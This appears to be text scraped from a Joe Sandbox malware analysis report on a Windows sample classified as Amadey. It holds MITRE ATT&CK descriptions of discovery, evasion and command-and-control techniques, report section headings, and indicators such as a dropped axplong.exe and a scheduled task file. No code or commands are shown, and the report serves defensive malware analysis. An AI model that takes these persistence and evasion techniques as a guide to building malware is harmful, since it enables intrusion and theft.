Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

C:\Windows\Tasks\axplong.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
file.exe

Function 008FBD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Function 008F5DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Function 008F7D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Function 00926E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Function 00907870 Relevance: 4.6, APIs: 3, Instructions: 123
COMMON

Function 0092D4F4 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Function 008F82B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Function 00926C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Function 00926F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Function 0092D6EF Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Function 0092AF0B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE